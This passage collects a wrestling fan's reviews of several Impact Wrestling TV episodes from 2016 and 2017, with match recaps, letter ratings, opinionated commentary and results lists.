Grado is back with an American flag and flanked by the Veterans of War and Eddie Edwards. They want to celebrate the Fourth of July in an eight man tag tonight because they’re proud to be Americans. The four of them leave and a rather rotund man is doing Hindu squats.

Eli Drake/Chris Adonis/Fallah Bahh/Mario Bokara vs. Veterans of War/Eddie Edwards/Grado

Adonis poses at the Swoll Mates on the way to the ring. Drake gets taken into the corner and thrown around by the Veterans of War. Adonis can’t do much with Mayweather so here’s Grado to get beaten into the corner. It’s off to Eddie to kick Bahh off the apron but Mario escapes the Backpack Stunner. Everything breaks down and Grado elbows Bahh out to the floor. The MOAB drops Drake and there’s the middle rope Codebreaker to Adonis. A quick Boston Knee Party ends Adonis at 4:36.

Rating: C-. So that happened. This felt like a way to get as many people into a match as possible in a match with little interest or drama. Eddie getting the win makes sense but I really could have gone for Drake getting put into a feud instead of just toiling in the midcard even more. Use that guy’s talents instead of just letting him flounder.

Post match here’s Joseph Park to give Grado a letter, which really upsets him. Grado leaves with park and isn’t happy.

Braxton Sutter vs. Matt Sydal

Josh says Allie looks like an Easter Bunny and Braxton dresses like that guy from the 90s with three H’s in his name. Super Heavyweight Hardcore Holly? Sutter chops him into the corner and fires off some knees. Something like a reverse Fameasser drops Sutter, followed by a kick to the head. Sydal drops the shooting star press for the pin at 3:17.

Rating: D+. Speaking of wasted talents, the fall (from not that high in the first place) of Sutter and Allie continues. What in the world is the point in having them lose this often when we’re just a few months removed from one of the company’s best moments in years? At least Sydal’s push seems solid enough though and that’s a good thing.

Sutter is frustrated after the loss and doesn’t want Allie around him.

LAX doesn’t say anything new.

JB is in the ring for the announcement of the Super X Cup, an eight person X Division tournament for a big trophy. The eight participants come out and we get the first round matches:

Sammy Guevara

Drago

ACH

Andrew Everett

Taiji Ishimori

Davey Richards

Dezmond Xavier

Idris Abraham

Video on Abraham.

Video on Xavier.

Super X Cup First Round: Idris Abraham vs. Dezmond Xavier

Feeling out process to start with Xavier grabbing a headlock. Xavier starts flipping around until a running boot to the ribs cuts him off. Back from a break with Abraham still in control but a quick cutter takes him down. Xavier sends him face first into the turnbuckle and Abraham is stunned.

Back up and a deadlift German suplex drops Abraham but he kicks Desmond in the head. Not that it really matters as Xavier gets in a kick to the head of his own and Abraham is stunned even more. In a flash back to days of X-Division old, Spiral Tap puts Abraham away at 11:15.

Rating: C+. Fun match here between two guys we haven’t seen around too often. Xavier was entertaining and it was nice to have someone fresh out there. The division is DYING for more talent and these two could be a decent place to start. Do more of this and give them some more time for a change.

Gail Kim has an announcement next week.

Video on Naomichi Marufuji.

Xavier says that finisher was the Final Flash. You’ll see it again. For some reason the interviewer sounded like he was shouting from a long way off.

Moose is ready to defend against Marufuji next week but Ethan Carter III comes in to say he deserves a shot. Moose tells him to go to the back of the line.

Rebel vs. Sienna

Non-title. Sienna throws her against the ropes to start and starts in with some hard kicks to the head. A charge misses in the corner but Sienna easily counters a handspring elbow into a German suplex. Sienna gets two off a Samoan drop but Rebel knocks her into the corner for some running knees and elbows. The handspring splash staggers Sienna but Rebel dives onto KM. Back in and Sienna rolls her into the guillotine choke for the tap at 3:16.

Rating: D. Rebel may be rather fetching at times but she’s not all that great in the ring. To be fair though this was only designed to be a squash so there’s not much to get out of it. Sienna needs challengers and odds are that’s going to be Gail before her retirement later in the year. Not a good match with time working against it.

The announcers run down next week’s card.

GFW/Impact Wrestling World Title Alberto El Patron vs. Bobby Lashley

Lashley is challenging and strikes away to start, knocking Alberto outside in the process. The champ gets sent into the steps and another hard whip sends him into the steps. We hit the chinlock for a bit before Alberto is backdropped to the floor, nearly hitting the post as we take a break.

Back with Alberto fighting out of another chinlock and firing off the kicks to the legs and a shot to the head. A big powerbomb plants the champ for two and Lashley is already starting to get frustrated. There’s the Codebreaker to the arm but Lashley cuts him off with a spinebuster.

Alberto kicks him in the face though and gets two off a middle rope double stomp to the back. Lashley shrugs it off and sends the champ into the corner for a double stomp of his own, followed by the spear for no cover. Instead it’s the Dominator but Lashley still won’t cover. Not that it matters as LAX comes in to go after Lashley for the DQ at 15:03.

Rating: B-. This was as good as it was going to get though I’m not sure on having the new champ get beaten down this much. Also, Lashley needs to wrap up this feud and go on to do anything else for awhile. He’s been in the title picture for too long and they need to bring in some fresh blood for a change.

Konnan says Alberto is the newest member of the team, though he’s out of it and doesn’t acknowledge the announcement. They hold up his arm to end the show. Alberto didn’t agree or pose with them or anything that would make this official.

Overall Rating: C-. If this was supposed to be the big new beginning, it really didn’t come off as such. This felt like any given episode of the show with the GFW name barely being mentioned. Then again I’m not entirely sure even they know what the company is called at this point so you take what you can get.

The wrestling was hit and miss and the big angle at the end didn’t do much for me, though at least it feels new. The X-Division getting more attention is nice, but it doesn’t matter if it goes as it has so many times in the past (starts hot, fizzles in a hurry). It’s not a bad show but they already seem to have lost the momentum and good energy that they had from the pay per view, which might be a record even for them.

Results

Sonjay Dutt b. Caleb Konley – Top rope splash

Eddie Edwards/Grado/Veterans of War b. Fallah Bahh/Mario Bokara/Chris Adonis/Eli Drake – Boston Knee Party to Adonis

Matt Sydal b. Braxton Sutter – Shooting Star Press

Dezmond Xavier b. Idris Abraham – Final Flash

Sienna b. Rebel – Guillotine choke

Lashley b. Alberto El Patron via DQ when LAX interfered

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Impact Wrestling – March 30, 2017: That’s….Not Bad

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Date: March 30, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, D’Angelo Dinero, Josh Matthews

Opening sequence.

The X-Division wants to make Impact Wrestling great.

DJZ vs. Andrew Everett

Post match Gregory Shane Helms comes out to say that Everett has earned an opportunity of some sort for next week.

Fury will be unleashed on April 13.

We look back at the horrible Rebel vs. ODB match from last week with Earl Hebner kissing both of them for reasons of unfunny comedy. After a break, ODB and Hebner seemed to go on a date. There is no way this can possibly end well.

Ethan Carter III wants to make Impact great again.

Announcers, bickering, nothing of note.

Garza Jr. and Laredo Kid want to win the Tag Team Titles tonight.

We recap Cody vs. Moose for the Grand Championship. Cody wants the title but Moose was in Japan so tonight they can finally have the title match.

Grand Championship: Moose vs. Cody

Round two starts with Cody kicking the knee but missing a big kick to the head. Moose apron bombs him and grabs a chair, only to have Brandi get in his way. The distraction lets another leg shot set up the Figure Four but Moose hangs on to end the round. Cody wins the round to tie it up and round three starts with Brandi yelling at her husband and walking out.

Eli Drake wants to make Impact Wrestling great.

We look at Moose vs. Cody again.

Karen brings JB a message about a Knockouts gauntlet battle royal to crown a new #1 contender. I see absolutely no reason for Karen to have been out here for this scene.

KM vs. Braxton Sutter

Post match the four of them get in a fight with the forces of good clearing the ring. Laurel Van Ness stumbles out, somehow looking creepier every single week. Sutter and Allie look terrified.

Davey Richards wants to make Impact Wrestling better.

Fury is still coming.

Tag Team Titles: Garza Jr./Laredo Kid vs. LAX vs. Decay vs. Reno Scum

The titles are vacant coming in and this is one fall to a finish. Thornstone and Kid start things off with Scum taking over in a hurry. Ortiz tags himself in for some lucha, capped off with a backbreaker to drop the Kid. Everything breaks down in a hurry and Kid dives onto a huge pile of people, followed by Garza doing the same as we take a break.

Back with Garza getting two off a Lionsault but LAX makes the save. Abyss comes in and clotheslines Kid against the ropes but Scum tags themselves in for some corner clotheslines. Kid scores with a DDT so both members of LAX come in to clean house, including a top rope double stomp onto a hanging cutter to Steve. It means posing instead of covering though, leaving Rosemary and Diamante to get into a catfight. Ortiz loads Laredo up for a powerbomb with Santana coming off the top with a Blockbuster for the pin and the titles at 12:13.

Results

Andrew Everett b. DJZ – Small package

Moose b. Cody via split decision

KM b. Braxton Sutter – Powerbomb into a Backstabber

LAX b. Reno Scum, Laredo Kid/Garza Jr. and Decay – Sitout powerbomb/Blockbuster combo to Kid

 

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Impact Wrestling – November 17, 2016: The New New Divide

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Date: November 17, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Jesse Godderz vs. Aron Rex

Due to the attack last week, Gail Kim is forced to vacate the Knockouts Title.

Hardy and Edwards get to face the DCC in an anything goes handicap match tonight.

Sienna/Laurel Van Ness vs. Brandi Rhodes/???

Trevor Lee vs. Ethan Carter III vs. Lashley vs. Mike Bennett

The fans want someone to kill the troll as Carter takes some shoulders in the corner. Ethan comes right back and loads up a double 1%er, only to get speared in half by Lashley. A cutter drops Lashley and a deadlift German suplex gives Lee two on Carter. Bennett starts snapping off superkicks and spinebusters, only to have Lashley give him the real spinebuster. Lee suplexes Lashley to block the spear (sweet counter) and dives over the top to take out Carter and Lashley. Back in and Carter grabs a sleeper to make Lee tap at 14:07.

Reby and Matt look at some Broken Matt videos and Matt is terrified of the chaos.

Decay threatens Jade with destruction at the hands of Rosemary.

Basile Baraka vs. Mahabali Shera

Rating: D. Why is this still a thing? I know they need to fill in time but is this really the best they have? Or is Shera just there to keep the Sony Six people happy? Neither guy is interesting and the Tribunal, which could have been at least something, has turned into one of the least interesting acts in a long time.

Post match the Tribunal beats Shera down until Al Snow makes the save. Josh: “AL SNOW IS TRENDING WORLDWIDE ON TWITTER RIGHT NOW!” Does Josh know that trending on Twitter is a real thing and not just a random statement? Snow and Shera shake hands, which Josh calls the Mega Powers uniting. He might be the greatest troll announcer ever and I doubt he has any idea of it.

Eddie Edwards/Jeff Hardy vs. DCC

Results

Jesse Godderz b. Aron Rex – Adonis Lock

Brandi Rhodes/Madison Rayne b. Sienna/Laurel Van Ness – Downward Spiral to Sienna

Ethan Carter III b. Lashley, Trevor Lee and Mike Bennett – Sleeper to Lee

Mahabali Shera b. Basile Baraka – Camel clutch

DCC b. Eddie Edwards/Jeff Hardy – Last Call to Hardy

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Impact Wrestling – October 6, 2016: Howl With Me

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Date: October 6, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

We open with a montage from Bound For Glory.

Trevor Lee/Andrew Everett/Marshe Rocket vs. DJZ/Mandrews/Braxton Sutter

Rating: C. Oh sweet goodness TNA what are you doing? I get the idea here (capitalizing on the success of the Cruiserweight Classic) but my goodness could they come up with something a little better than throwing six guys out there with little to no connection and having a match?

Maria Kanellis yells at Allie over screwing up on Sunday. Sienna and Laurel Van Ness talk Maria out of firing her because they need someone to carry their bags. Sienna will get the title back tonight and Allie better not mess it up.

Eddie Edwards says Lashley sees him as the easy match so please pick him to give Lashley the easy title defense.

Knockouts Title: Sienna vs. Gail Kim

Gail is defending and Madison Rayne is on commentary (with her husband Josh Matthews). Sienna knocks Allie into Gail to knock her off the apron before driving the champ back first into the apron. They head inside with Gail escaping the AK-47 but getting caught in a reverse powerbomb for two. Gail ducks the Pounce and rolls Sienna up to retain at 3:04.

Tag Team Titles: Hardys vs. Decay

Here are Cody and Brandi Rhodes for their big formal introduction. Cody talks about how the game is changing and lists off some things from Bound For Glory. He talks about the list (a list of things he wanted to do in wrestling) being his guiding light with names like Mike Bennett making him want to keep going.

Post break Cody says he wants Mike Bennett next week.

Grand Championship: Aron Rex vs. Baron Dax

Rex says this is changing the business.

TNA World Title: Lashley vs. Eddie Edwards

Results

DJZ/Mandrews/Braxton Sutter b. Trevor Lee/Andrew Everett/Marshe Rocket – Shooting star press to Everett

Gail Kim b. Sienna – Rollup

Hardys b. Decay – Hardys escaped the cage

Aron Rex b. Baron Dax – Royal Arch

Eddie Edwards b. Lashley – Boston Knee Party

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Impact Wrestling – September 8, 2016: We Want Wrestling And Hat Eating Giraffes!

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Date: September 8, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Senor Benjamin and Vanguard I tell us that these segments will be performed by professionals and no animals were harmed in making this.

We see a clip from last week with Reby saying prepare the battlefield.

Senor Benjamin digs graves for Decay as we hear an operatic version of the Obsolete song.

Matt tells Senor Benjamin to prepare the personal zoo for visitation.

This brings out Dixie Carter of all people to say people are here to watch wrestling. Tell me Dixie: how much time is Final Deletion II getting tonight? Mike says no one appreciates either himself or Maria but he knows Dixie is about to put him in the main event. Dixie says not so fast because Mike will be in a match against, of course, Moose. Mike and Maria wisely run off.

Gail Kim/Jade vs. Allie/Sienna

3 rounds

3 minutes per round

The match can end at any time but each round is scored on a 10 point system and if no one wins in the nine minute time limit (yes a nine minute time limit), three judges will declare a winner.

Grand Championship Tournament First Round: Braxton Sutter vs. Drew Galloway

During the break, Rockstar Spud attacked Sutter.

The brawl continued after a break with Lashley throwing Carter out of a door and through some wood.

Video on Jesse Godderz and how excited he is for the Grand Championship tournament.

Grand Championship Tournament First Round: Eli Drake vs. Jesse Godderz

Drake hammers away in the corner and gets two off a DDT. A powerslam gets the same but Jesse gets in a forearm, followed by the Adonis Lock. Drake rides out the clock to end the round and it goes to Godderz again. The final round begins with Drake hitting some kind of a powerbomb but getting caught in the Adonis Lock again. An Angle Slam gets two on Eli, only to have him hit Blunt Force Trauma for the quick pin at 9:24 total.

Matt sends Reby back to the house as Decay hides behind ye olde dilapidated boat. Abyss tells someone to get to the house and Jeff dropkicks the boat into the water. Cue Senor Benjamin to say Matt needs the boat. Jeff disappears and Benjamin starts pulling the boat but Joseph Park walks out of the water. Park: “Brother Benjamin! I loved you in Final Deletion!” Benjamin tazes Park and puts him in a conveniently placed bulldozer.

Results

Jade/Gail Kim b. Sienna/Jade – Silencer to Jade

Drew Galloway b. Braxton Sutter – Iron Maiden

Eli Drake b. Jesse Godderz – Blunt Force Trauma

 

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Impact Wrestling – August 25, 2016: Bound For Bad Wrestling

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Date: August 25, 2016
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We recap Ethan maybe or maybe not causing Drew several World Title matches.

Battle Royal

Robbie E., Jesse Godderz, Eli Drake, Basille Baraka, Baron Dax, Grado, Mahabali Shera, Mike Bennett, Moose, Eddie Edwards

Winner gets a World Title shot and Lashley is on commentary. There are only ten people in an open invitation battle royal for a World Title shot? Josh says this show is being called a turning point. Wait is this Turning Point 2016? Or is that just Josh running his mouth like the goon that he is?

After a break, Moose yells at Bennett as Maria tells the camera to get out of here.

Jeff Hardy vs. Abyss

After the break six seconds into the match, we come back to see Abyss in control and Matt telling Jeff to delete him. Instead of taking Abyss to field and something about a Spanish speaking gardener, Jeff forearms him in the head and drops the leg between the legs for two. A Twist of Fate looks to set up the Swanton but Matt says he has to stop being a spot monkey.

Knockouts Title: Sienna vs. Marti Bell vs. Madison Rayne vs. Allie vs. Jade

The fans chant for Allie.

Aron Rex guarantees that someone will be bound for glory tonight.

Tyrus is a fixer.

The X-Division Title will be decided in an Ultimate X gauntlet match. So just Ultimate X match after Ultimate X match? Or people being added one at a time and the first person to pull down the title wins? Either way, no pinning involved because that might imply someone gets over the others.

Drew Galloway vs. Ethan Carter III

The 1%er is broken up and another Claymore gets two more near falls for Drew. Still nothing from Rex. Carter ramps it up with a super 1%er for two but Galloway muscles him up for a Tombstone. Back up and the Futureshock is countered into a jackknife cover to give Carter the pin at 17:26.

Post match Drew beats Rex down and sends him into the steps for a heel turn.

Results

Mike Bennett won a battle royal last eliminating Moose and Eddie Edwards

Abyss b. Jeff Hardy – Black Hole Slam

Allie b. Sienna, Marti Bell, Madison Rayne and Jade – Allie fell on Rayne

Ethan Carter III b. Drew Galloway – Jackknife cover

 

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